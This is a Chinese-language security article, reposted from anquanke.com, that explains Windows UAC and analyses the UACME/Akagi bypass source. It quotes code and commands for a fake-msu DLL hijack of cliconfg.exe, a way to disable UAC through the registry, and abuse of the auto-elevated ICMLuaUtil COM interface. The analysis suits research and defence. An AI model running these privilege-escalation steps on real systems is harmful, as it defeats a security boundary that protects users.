BypassUAC原理及方法汇总——各类的UAC白名单程序的DLL劫持;各类自动提升权限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提权;远程注入


BypassUAC原理及方法汇总

from:https://www.anquanke.com/post/id/216808#h2-0 

发布时间:2020-09-21 14:30:06

本文为UAC绕过方式的一些总结,辅以一些个人理解,请各位大佬指正。

什么是UAC

根据MSDN中的文档,User Account Control(UAC)是在Windows Vista 以后版本中引入的一种安全机制,针对具有有限权限的账户.

通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。

Launched with virtualization意味着对注册表或者文件系统的更改会在程序结束时失效

launched without elevated privilege 即在非特权级下运行

从上图中,我们看到如果想获取管理员权限(让程序在特权级运行),有以下几种方式:

  • 通过run as administer/ 在shell中执行runas
  • 未启用UAC
  • 进程已经拥有管理权限控制
  • 进程被用户允许通过管理员权限运行

UAC的实现

ACL(Access Control List):Windows 中所有资源都有 ACL ,这个列表决定了拥有何种权限的用户/进程能够这个资源。

在开启了 UAC 之后,如果用户是标准用户, Windows 会给用户分配一个标准 Access Token
如果用户以管理员权限登陆,会生成两份访问令牌,一份是完整的管理员访问令牌(Full Access Token),一份是标准用户令牌。一般情况下会以标准用户权限启动 Explorer.exe 进程。如果用户同意,则赋予完整管理员权限访问令牌进行操作。

可以使用whoami /priv 看当前的权限

在研究一些对抗方法的时候,我们可以从“安全总是要让步于业务”这个不成文的规则入手,不管是一些为了用户体验导致的安全性上的牺牲,或者是为了业务逻辑不得不做的一些不安全配置都是因为如此,举一个例子:我们在开启UAC的情况下,向安装位置在%PROGRAMFILES%安装文件时,总会弹出UAC提示,但是我们安装完成后,在进行程序卸载时却不会弹出任何UAC提示,细心的思考一下,你可能就会开始琢磨其中的端倪。本质上是因为Widnows为这些程序(或者接口)开启了autoElevate,也就是说Windows系统本身维护了一批这样的在UAC白名单中的程序,而我们就可以利用他们来绕过UAC,当然,这只是其中一种方式.

触发UAC

  • 配置Windows Update
  • 增加或删除用户账户
  • 改变用户的账户类型
  • 改变UAC设置
  • 安装ActiveX
  • 安装或移除程序
  • 安装设备驱动程序
  • 设置家长控制
  • 将文件移动或复制到Program Files或Windows目录
  • 查看其他用户文件夹

等等有很多,具体参考这里

触发流程:
在触发 UAC 时,系统会创建一个consent.exe进程,该进程用以确定是否创建管理员进程(通过白名单和用户选择判断),然后creatprocess请求进程,将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程

BypassUAC

目前公开的绕过UAC的几种方式:

  1. 各类的UAC白名单程序的DLL劫持
  2. 各类自动提升权限的COM接口利用(Elevated COM interface)
  3. Windows 自身漏洞提权
  4. 远程注入

本文主要论述前两种方法

这个怎么看,后面会说

ucmMethodsDispatchTable是一个UCM_API_DISPATCH_ENTRY的结构体数组,跟着看这个结构体的定义

// UCM_API_DISPATCH_ENTRY定义
typedef struct _UCM_API_DISPATCH_ENTRY {
    PUCM_API_ROUTINE Routine;               //执行的方法
    PUCM_EXTRA_CONTEXT ExtraContext;        //该方法执行时依赖的额外内容
    UCM_METHOD_AVAILABILITY Availability;   //可行的最小/最大windows版本号
    ULONG PayloadResourceId;                //使用的payload dll
    BOOL Win32OrWow64Required;
    BOOL DisallowWow64;
    BOOL SetParameters;                     //是否需要shared参数被设置
} UCM_API_DISPATCH_ENTRY, *PUCM_API_DISPATCH_ENTRY;

在解析完结构体后,根据配置,加载额外的内容或payload.之后获取其他命令行参数,这里需要重点关注Routine,这个结构体变量,该变量是一个PUCM_API_ROUTINE类型的变量,定义如下:

typedef NTSTATUS(CALLBACK *PUCM_API_ROUTINE)(
    _In_ PUCM_PARAMS_BLOCK Parameter
    );
//稍微扩展一下:
typedef NTSTATUS(__stdcall *PUCM_API_ROUTINE)(
    _In_ PUCM_PARAMS_BLOCK Parameter
    );

即PUCM_API_ROUTINE是一个指向“接受一个PUCM_PARAMS_BLOCK类型作为参数并回传一个NTSTATUS类型值的函数”的指针别名,也就是说可以通过该函数指针去调用该函数.接着看PUCM_PARAMS_BLOCK:

typedef struct tagUCM_PARAMS_BLOCK {
    UCM_METHOD Method;
    PVOID PayloadCode;
    ULONG PayloadSize;
} UCM_PARAMS_BLOCK, *PUCM_PARAMS_BLOCK;

PUCM_PARAMS_BLOCK是一个tagUCM_PARAMS_BLOCK的结构体指针,追到这里就可以不用在追了,将关键代码抽出来看:

Entry = &ucmMethodsDispatchTable[Method];

ParamsBlock.Method = Method;
ParamsBlock.PayloadCode = PayloadCode;
ParamsBlock.PayloadSize = PayloadSize;

MethodResult = Entry->Routine(&ParamsBlock);

Entry找到了结构体内对应method的入口,也就是{ MethodCarberp, NULL, { 7600, 10147 }, FUBUKI_ID, FALSE, TRUE, TRUE },这一项,这里作出分析,MethodResult = Entry->Routine(&ParamsBlock);这里其实等价于:`MethodResult = MethodCarberp(&ParamsBlock),我们看MethodCarberp的定义:

//#define UCM_API(n) NTSTATUS CALLBACK n(_In_ PUCM_PARAMS_BLOCK Parameter)  
UCM_API(MethodCarberp)
{
    //
    // Additional checking for UacMethodCarberp1. 
    // Target application 'migwiz' unavailable in Syswow64 after Windows 7.
    //
    if (Parameter->Method == UacMethodCarberp1) {
        if ((g_ctx->IsWow64) && (g_ctx->dwBuildNumber > 7601)) {
            ucmShowMessage(g_ctx->OutputToDebugger, WOW64STRING);
            return STATUS_UNKNOWN_REVISION;
        }
    }
    return ucmWusaMethod(
        Parameter->Method,
        Parameter->PayloadCode,
        Parameter->PayloadSize);
}

可见最终调用了ucmWusaMethod这个函数,将关键代码摘出来分析下:

/*
* ucmWusaMethod
*
* Purpose:
*
* Build and install fake msu package then run target application.
*
* Fixed in Windows 10 TH1
*
*/
NTSTATUS ucmWusaMethod(
    _In_ UCM_METHOD Method,
    _In_ PVOID ProxyDll,
    _In_ DWORD ProxyDllSize
)
{
    NTSTATUS    MethodResult = STATUS_ACCESS_DENIED;
    WCHAR       szSourceDll[MAX_PATH * 2];
    WCHAR       szTargetProcess[MAX_PATH * 2];
    WCHAR       szTargetDirectory[MAX_PATH * 2];

    _strcpy(szTargetProcess, g_ctx->szSystemDirectory);
    _strcpy(szTargetDirectory, g_ctx->szSystemDirectory);
    _strcpy(szSourceDll, g_ctx->szTempDirectory);

    switch (Method) {
    //
    // Use cliconfg.exe as target.
    // szTargetDirectory is system32
    //
    case UacMethodCarberp2:
        _strcat(szSourceDll, NTWDBLIB_DLL);
        _strcat(szTargetProcess, CLICONFG_EXE);
        break;

    default:
        return STATUS_INVALID_PARAMETER;
    }

    if (!PathFileExists(szTargetProcess)) {
        return STATUS_OBJECT_NAME_NOT_FOUND;
    }

    //
    // Extract file to the protected directory
    // First, create cab with fake msu ext, second run fusion process.
    //
    if (ucmCreateCabinetForSingleFile(
        szSourceDll,
        ProxyDll,
        ProxyDllSize,
        NULL))
    {

        if (ucmWusaExtractPackage(szTargetDirectory)) {
            //run target process for dll hijacking
            if (supRunProcess(szTargetProcess, NULL))
                MethodResult = STATUS_SUCCESS;
        }
        ucmWusaCabinetCleanup();
    }

    return MethodResult;
}

经过分析可以发现BypassUAC的流程为:

  1. 生成ellocnak.msu,此文件是一个cab格式的文件,内容为ntwdblib.dll文件(该文件为程序生成的加密Payload),文件放置在用户临时目录下
  2. 通过之前介绍的WUSA将ellocnak.msu解压到system32目录下
    cmd.exe /c wusa %temp%\ellocnak.msu /extract:%windir%\system32
  3. 运行C:\windows\system32\cliconfg.exe,进行DLL劫持

该方法劫持了cliconfig.exe对ntwdblib.dll的加载。

跟进生成的payload,看一下具体怎么实现的bypassUAC:

payload是在_UCM_API_DISPATCH_ENTRY中PayloadResourceId字段指明的,但这个字段只是一个payload的资源标识符,真正处理的的部分在methods.c中的supLdrQueryResourceData函数,代码如下:

Resource = supLdrQueryResourceData(
      Entry->PayloadResourceId,
      ImageBaseAddress,
      &DataSize);

supLdrQueryResourceData中的关键部分如下:

if (DllHandle != NULL) {

        IdPath[0] = (ULONG_PTR)RT_RCDATA; //type
        IdPath[1] = ResourceId;           //id
        IdPath[2] = 0;                    //lang

        status = LdrFindResource_U(DllHandle, (ULONG_PTR*)&IdPath, 3, &DataEntry);
        if (NT_SUCCESS(status)) {
            status = LdrAccessResource(DllHandle, DataEntry, (PVOID*)&Data, &SizeOfData);
            if (NT_SUCCESS(status)) {
                if (DataSize) {
                    *DataSize = SizeOfData;
                }
            }
        }
    }

其中LdrFindResource_U和LdrAccessResource都是从NTdll中导出的API,LdrFindResource_U会根据资源ID找到相应的资源,如果找到,则返回相应的句柄,后续应该使用LdrAccessResource来使用该句柄,这两个API都没有找到有人分析的使用方法,但是可以跟进payload中,其拓展如下:

这里又可以在bin32res.rc中找到资源文件的路径,这里就是加密的payload的了,刚刚我们看到在定义IDPath时,第一项type值为RT_RCDATA,指明了该资源是由.rc文件中的RCDATA字段指出其位置的,可以看到就是bin/fubuki32.cd

我们接着在程序中寻找解密的算法,其解密算法在compress.c中的DecompressPayload函数中定义:

PVOID DecompressPayload(
    _In_ ULONG PayloadId,
    _In_ PVOID pbBuffer,
    _In_ ULONG cbBuffer,
    _Out_ PULONG pcbDecompressed
)

其对应的参数为:

PayloadCode = g_ctx->DecompressRoutine(Entry->PayloadResourceId, Resource, DataSize, &PayloadSize);

Resource是加密的资源文件,在这里处理了加密过程

受篇幅所限,这里就不继续跟下去了,有兴趣的读者可以继续,其中密钥被放在了secrets.h中.这种方法就先说到这里

该项目中大部分Bypass UAC的方式都是这种DLL劫持的方法,只是劫持的DLL和EXE有所不同。

5号方法用的就是这种手法:

Author: WinNT/Simda
    Type: Elevated COM interface
    Method: ISecurityEditor
    Target(s): HKLM registry keys
    Component(s): -
    Implementation: ucmSimdaTurnOffUac
    Works from: Windows 7 (7600)
    Fixed in: Windows 10 TH1 (10147)
        How: ISecurityEditor interface method changed

关键代码如下:

  1. 使用ISecurityEditor修改上述注册表权限为可写
  2. 新建/修改注册表键EnableUA的值为0
  3. 重启系统,成功关闭UAC

可以有以下应用方式:

  • 方式一:Win + R 快捷键调出“运行”对话框,输入 shell:::CLSID(例如 shell:::{26EE0668-A00A-44D7-9371-BEB064C98683} ),确定,即可打开“控制面板”(不是在cmd中)
  • 方式二:创建快捷方式。在创建快捷方式时,只需在“请键入对象的位置”文本框中输入 explorer shell:::CLSID(例如explorer shell:::{26EE0668-A00A-44D7-9371-BEB064C98683} ),那么使用创建的快捷方式打开“控制面板”;
  • 方式三:你也可以把某个系统组件的CLSID嵌入到应用软件中,以快速打开某组件;

OleViewDotNet工具,可以方便的查看系统中的COM接口属性信息,注意需要用管理员权限运行

Registry -> CLSIDs

在CLSID上右键 -> properties -> Elevation 可以看到该接口Enabled:True&Auto Approval:True,满足上述第一个条件

鼠标悬浮在ICMLuaUtil上,可以看到虚函数表地址在cmlua.dll+0x7360的位置处

用IDA打开看一下,找到0x180007360的位置,可以看到ICMLuaUtil接口的虚函数表

满足了第二个条件,即通过调用ShellExecuteEx这个Windows API实现了命令执行

我们具体看一下实现过程:

关键代码在Source\Akagi\methods\api0cradle.c中的ucmCMLuaUtilShellExecMethod函数中定义,同样,调用该函数前需要用supMasqueradeProcess伪装成白名单,关键函数如下:

NTSTATUS ucmCMLuaUtilShellExecMethod(
    _In_ LPWSTR lpszExecutable
)
{
    NTSTATUS         MethodResult = STATUS_ACCESS_DENIED;
    HRESULT          r = E_FAIL, hr_init;
    BOOL             bApprove = FALSE;
    ICMLuaUtil      *CMLuaUtil = NULL;

    hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); //初始化当前线程Com组件
      ......

        r = ucmAllocateElevatedObject(
            T_CLSID_CMSTPLUA,
            &IID_ICMLuaUtil,
            CLSCTX_LOCAL_SERVER,
            (void**)&CMLuaUtil);

            ......

        r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil,
            lpszExecutable,
            NULL,
            NULL,
            SEE_MASK_DEFAULT,
            SW_SHOW);
          ......

    if (CMLuaUtil != NULL) {
        CMLuaUtil->lpVtbl->Release(CMLuaUtil);
    }

    if (hr_init == S_OK)
        CoUninitialize();

    return MethodResult;
}

ucmAllocateElevatedObject中用CoGetObject创建了一个以管理员权限运行的CMLuaUtil组件

然后用ShellExec传进来的lpszExecutable,也就是payload:

    if (g_ctx->OptionalParameterLength == 0)
        lpszParameter = g_ctx->szDefaultPayload;
    else
        lpszParameter = g_ctx->szOptionalParameter;
return ucmCMLuaUtilShellExecMethod(lpszParameter);

定义在sup.c中,就是一行简单滴调用cmd.exe的命令

https://www.secpulse.com/archives/68255.html
  • https://cloud.tencent.com/developer/article/1623517
  • https://payloads.online/archivers/2018-12-22/1#0x00-%E5%89%8D%E8%A8%80